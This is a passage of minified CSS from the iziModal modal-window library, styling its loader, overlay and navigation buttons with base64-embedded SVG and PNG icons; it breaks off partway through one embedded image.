.iziModal-content-loader{background:url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNDQiIGhlaWdodD0iNDQiIHZpZXdCb3g9IjAgMCA0NCA0NCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiBzdHJva2U9IiM5OTkiPiAgICA8ZyBmaWxsPSJub25lIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiIHN0cm9rZS13aWR0aD0iMiI+ICAgICAgICA8Y2lyY2xlIGN4PSIyMiIgY3k9IjIyIiByPSIxIj4gICAgICAgICAgICA8YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJyIiAgICAgICAgICAgICAgICBiZWdpbj0iMHMiIGR1cj0iMS40cyIgICAgICAgICAgICAgICAgdmFsdWVzPSIxOyAyMCIgICAgICAgICAgICAgICAgY2FsY01vZGU9InNwbGluZSIgICAgICAgICAgICAgICAga2V5VGltZXM9IjA7IDEiICAgICAgICAgICAgICAgIGtleVNwbGluZXM9IjAuMTY1LCAwLjg0LCAwLjQ0LCAxIiAgICAgICAgICAgICAgICByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIgLz4gICAgICAgICAgICA8YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJzdHJva2Utb3BhY2l0eSIgICAgICAgICAgICAgICAgYmVnaW49IjBzIiBkdXI9IjEuNHMiICAgICAgICAgICAgICAgIHZhbHVlcz0iMTsgMCIgICAgICAgICAgICAgICAgY2FsY01vZGU9InNwbGluZSIgICAgICAgICAgICAgICAga2V5VGltZXM9IjA7IDEiICAgICAgICAgICAgICAgIGtleVNwbGluZXM9IjAuMywgMC42MSwgMC4zNTUsIDEiICAgICAgICAgICAgICAgIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiAvPiAgICAgICAgPC9jaXJjbGU+ICAgICAgICA8Y2lyY2xlIGN4PSIyMiIgY3k9IjIyIiByPSIxIj4gICAgICAgICAgICA8YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJyIiAgICAgICAgICAgICAgICBiZWdpbj0iLTAuOXMiIGR1cj0iMS40cyIgICAgICAgICAgICAgICAgdmFsdWVzPSIxOyAyMCIgICAgICAgICAgICAgICAgY2FsY01vZGU9InNwbGluZSIgICAgICAgICAgICAgICAga2V5VGltZXM9IjA7IDEiICAgICAgICAgICAgICAgIGtleVNwbGluZXM9IjAuMTY1LCAwLjg0LCAwLjQ0LCAxIiAgICAgICAgICAgICAgICByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIgLz4gICAgICAgICAgICA8YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJzdHJva2Utb3BhY2l0eSIgICAgICAgICAgICAgICAgYmVnaW49Ii0wLjlzIiBkdXI9IjEuNHMiICAgICAgICAgICAgICAgIHZhbHVlcz0iMTsgMCIgICAgICAgICAgICAgICAgY2FsY01vZGU9InNwbGluZSIgICAgICAgICAgICAgICAga2V5VGltZXM9IjA7IDEiICAgICAgICAgICAgICAgIGtleVNwbGluZXM9IjAuMywgMC42MSwgMC4zNTUsIDEiICAgICAgICAgICAgICAgIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiAvPiAgICAgICAgPC9jaXJjbGU+ICAgIDwvZz48L3N2Zz4=) no-repeat 50% 50%}.iziModal .iziModal-content:after,.iziModal .iziModal-content:before{content:'';display:table}.iziModal .iziModal-content:after{clear:both}.iziModal .iziModal-content{zoom:1;width:100%;-webkit-overflow-scrolling:touch}.iziModal .iziModal-wrap{width:100%;position:relative;-webkit-overflow-scrolling:touch;overflow-scrolling:touch}.iziModal .iziModal-iframe{border:0;margin:0 0 -6px;width:100%;transition:height .3s ease}.iziModal-overlay{display:block;position:fixed;top:0;left:0;height:100%;width:100%}.iziModal-navigate{position:fixed;left:0;right:0;top:0;bottom:0;pointer-events:none}.iziModal-navigate-caption{position:absolute;left:10px;top:10px;color:#fff;line-height:16px;font-size:9px;font-family:'Lato',Arial;letter-spacing:.1em;text-indent:0;text-align:center;width:70px;padding:5px 0;text-transform:uppercase;display:none}.iziModal-navigate-caption::after,.iziModal-navigate-caption::before{position:absolute;top:2px;width:20px;height:20px;text-align:center;line-height:14px;font-size:12px;content:'';background-size:100%!important}.iziModal-navigate-caption:before{left:0;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAoCAYAAACFFRgXAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA4ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTMyIDc5LjE1OTI4NCwgMjAxNi8wNC8xOS0xMzoxMzo0MCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDoyNmFjNjAyMy04OWU0LWE0NDAtYmMxMy1kOTA5MTQ3MmYzYjAiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6NDREQ0YwRjA1MzQzMTFFNkE5NUNDRDkyQzEwMzM5RTMiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NDREQ0YwRUY1MzQzMTFFNkE5NUNDRDkyQzEwMzM5RTMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIDIwMTUuNSAoV2luZG93cykiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDpmNmM0Nzk3Ni1mNzE3LTk5NDAtYTgyYS1mNTdjNmNiYmU0NWMiIHN0UmVmOmRvY3VtZW50SUQ9ImFkb2JlOmRvY2lkOnBob3Rvc2hvcDowZGVmYTEyZC01MzM0LTExZTYtYWRkYi04Y2NmYjI5ZTAxNjYiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz7oo0ptAAACWklEQVR42uyZTWsTYRSFZybxo4kWk5g2NC5qTAU3Kq30A9udi1oXolV/hWuhv6R/Q6utioi4LbbVFHemamlRU0OCEk0wZjwXzwtDoBDopHMHcuFJMplZnLm5ue+589qu61qeOApyYAjEgG0FEyLqN/gKiqBuTtgewWlwCZw056xgwwirgU3wxSv4NJgCUV5YBRXQDEhsBJwCSSauBVZFdJRlIJk9Av7wbj577jDIOENtRmPVwcsw6KfAAvikRKzEDlhnhuU/lRPBWaa9wsxqC6ndPX7OiOA4D8qW3vjO9z7H0w3+KhZstNmOFbLoCQ6DYGmL+bAInmGfLFC4asFXwRJIgB+goVmw+I7HXO+/gevGnGgUPEGxktkSmAMbWmt4HDwBKS6XN1jDKrvEFYoVK7oLroE3h93Woh1eNwqWafJ/gQV65vM+ail34mc6EZwBK2CAx8fAIjjeBYMzDT4cVHCEXtRbRvEu/Nr9HCIOnGGp15vgEec9KYn74B0nAT/CZnv86FcNvwK3wENwAjwAs2Bbs5d4CW5zir0AXvv8p+tKH34B5lkW4h2egRHtbu05uMMHHWfB0zC4NRF5l09kzvE4rd2tyUJyjy4tz7akZqXbL8QETbJ/FsMgWOJtb6brCQ5YsBsC8Uab63DVkkgqFpzie93h8OhScFah2LTHi5ccWroaLd5l6//+hpYQoWP05LKqFs2WQYbTsNxAi+5fxpWmdfh7HS7XhwSzG+H3a2JnvZsyktmLbdOFhpDMvrf4sN1u2/aK0cwMcmYLcturweceW+CnOfFPgAEA8uWFFylBJYoAAAAASUVORK5CYII=) no-repeat 50% 50%}.iziModal-navigate-caption:after{right:0;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAoCAYAAACFFRgXAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAADhmlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS42LWMxMzIgNzkuMTU5Mjg0LCAyMDE2LzA0LzE5LTEzOjEzOjQwICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1wTU06T3JpZ2luYWxEb2N1bWVudElEPSJ4bXAuZGlkOjI2YWM2MDIzLTg5ZTQtYTQ0MC1iYzEzLWQ5MDkxNDcyZjNiMCIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo0NERDRjBGMDUzNDMxMUU2QTk1Q0NEOTJDMTAzMzlFMyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo0NERDRjBFRjUzNDMxMUU2QTk1Q0NEOTJDMTAzMzlFMyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ0MgMjAxNS41IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOmY2YzQ3OTc2LWY3MTctOTk0MC1hODJhLWY1N2M2Y2JiZTQ1YyIgc3RSZWY6ZG9jdW1lbnRJRD0iYWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjBkZWZhMTJkLTUzMzQtMTFlNi1hZGRiLThjY2ZiMjllMDE2NiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PuijSm0AAAKbSURBVFhH7ZnJj0xRGEerzFoIMTaCZmOIedhaiJj55yz8DaYdNhIJEUMQbCTG3rQ02hDSiEY553XdTpHS3nv96taV9ElO6lVt6peb7933fffVG41GrYW5uBaX4EysYzcw1Fd8hc/wM2a0Bl6Nm3BW9i0dDPsQX/olBF6FO72AH/gG3+N3jL3KBpqGC3ERTsGfeAsHDTyHi71oCXzBe/gaU2A5bscZOIxXTb8OLQNX9i6mElYsg/voqruwfQb2BhODWgqpMYDv0NLsNXC4yd42P1PEwNJj4HBTWdipErLVDfxfMRm408QMvBu3jV6WJ1Zg9/rbeBOP+UNZYgX+iE/Rp+lpPIKliBXYB9IhtPNy3z/T/F6YmDXsChvyBc7Gs3gACxEzsDzBg9iPPXgO92NuYgeWx2h3+AhtaM7jPsyF7aV37XR8gNZYO/pwKY51+xPkG27Fk2joT3gCr2A7NuJ6HMkTeAPadlp3VeMChF7G0P6X3dmfjAXOUxIj6LZkv1ylNuStDZejkL+PS96ScFzRqnDAtI5PoTefvbg7iNNOOwqVRCfYghdxBbpHH8Y7+DcKlUTV7MLLaNghPIrjhf2N2IF34AVcjE44hrXHyE3MwE6/loEzpEcIlqKjeyFiBe7FS+he/gENewMLEyuwXdo8dGWP43UsRazA9g7uDNbwNX8oS8watlsz+ISIGbgSJgN3GgOHlnFq8zNFQraGgT1iFc9iUyU0XsMGHhy9zh6XbvCp4ZuBBWglDBj4OdqLeu0+uRJTwMZ+Dbp/e21P3m97yWe2snsw1LTHmz5C/9lQdwhfGbiq89GwvrrwUT4UAouhN6MzloTRpVuEYI5O9urZYXtrYPGQw2OlZegM163QhrJMfWVgyTq0Qq32C/N7uPz9OknWAAAAAElFTkSuQmCC) no-repeat 50% 50%}.iziModal-navigate>button{position:fixed;bottom:0;top:0;border:0;height:100%;width:84px;background-size:100%!important;cursor:pointer;padding:0;opacity:.2;transition:opacity .3s ease;pointer-events:all;margin:0;outline:0}.iziModal-navigate>button:hover{opacity:1}.iziModal-navigate-prev{left:50%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAALwAAAC8CAYAAADCScSrAAAACXBIWXMAAAsTAAALEwEAmpwYAAA5sGlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS42LWMxMzIgNzkuMTU5Mjg0LCAyMDE2LzA0LzE5LTEzOjEzOjQwICAgICAgICAiPgogICA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAgICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIKICAgICAgICAgICAgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIKICAgICAgICAgICAgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIgogICAgICAgICAgICB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ+eG1wLmRpZDo2NDkyYzcxMy05ZDM0LTZlNGQtYmUwNi1hMDMyY2Q4NDVjNGU8L3htcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+eG1wLmRpZDo1QjIzMUMxODU3RjcxMUU2ODUzRkRBRjE5RDhDQjZBRDwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAgPHhtcE1NOkluc3RhbmNlSUQ+eG1wLmlpZDpjZmMwNzVmNC1kODA3LWI0NDMtYWIwYS02YWVhZjRjMDgxZWE8L3htcE1NOkluc3RhbmNlSUQ+CiAgICAgICAgIDx4bXBNTTpEZXJpdmVkRnJvbSByZGY6cGFyc2VUeXBlPSJSZXNvdXJjZSI+CiAgICAgICAgICAgIDxzdFJlZjppbnN0YW5jZUlEPnhtcC5paWQ6NjQ5MmM3MTMtOWQzNC02ZTRkLWJlMDYtYTAzMmNkODQ1YzRlPC9zdFJlZjppbnN0YW5jZUlEPgogICAgICAgICAgICA8c3RSZWY6ZG9jdW1lbnRJRD54bXAuZGlkOjY0OTJjNzEzLTlkMzQtNmU0ZC1iZTA2LWEwMzJjZDg0NWM0ZTwvc3RSZWY6ZG9jdW1lbnRJRD4KICAgICAgICAgPC94bXBNTTpEZXJpdmVkRnJvbT4KICAgICAgICAgPHhtcE1NOkhpc3Rvcnk+CiAgICAgICAgICAgIDxyZGY6U2VxPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmFjdGlvbj5zYXZlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6aW5zdGFuY2VJRD54bXAuaWlkOmNmYzA3NWY0LWQ4MDctYjQ0My1hYjBhLTZhZWFmNGMwODFlYTwvc3RFdnQ6aW5zdGFuY2VJRD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OndoZW4+MjAxNi0wOC0wMVQxMTo1ODowNC0wMzowMDwvc3RFdnQ6d2hlbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OnNvZnR3YXJlQWdlbnQ+QWRvYmUgUGhvdG9zaG9wIENDIDIwMTUuNSAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdlbnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAgICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06SGlzdG9yeT4KICAgICAgICAgPHhtcDpDcmVhdG9yVG9vbD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNS41IChXaW5kb3dzKTwveG1wOkNyZWF0b3JUb29sPgogICAgICAgICA8eG1wOkNyZWF0ZURhdGU+MjAxNi0wOC0wMVQwOTo0MDo1Ni0wMzowMDwveG1wOkNyZWF0ZURhdGU+CiAgICAgICAgIDx4bXA6TW9kaWZ5RGF0ZT4yMDE2LTA4LTAxVDExOjU4OjA0LTAzOjAwPC94bXA6TW9kaWZ5RGF0ZT4KICAgICAgICAgPHhtcDpNZXRhZGF0YURhdGU+MjAxNi0wOC0wMVQxMTo1ODowNC0wMzowMDwveG1wOk1ldGFkYXRhRGF0ZT4KICAgICAgICAgPGRjOmZvcm1hdD5pbWFnZS9wbmc8L2RjOmZvcm1hdD4KICAgICAgICAgPHBob3Rvc2hvcDpDb2xvck1vZGU+MzwvcGhvdG9zaG9wOkNvbG9yTW9kZT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAgICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAgICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAgICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxleGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxYRGltZW5zaW9uPjE4ODwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURpbWVuc2lvbj4xODg8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4KICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg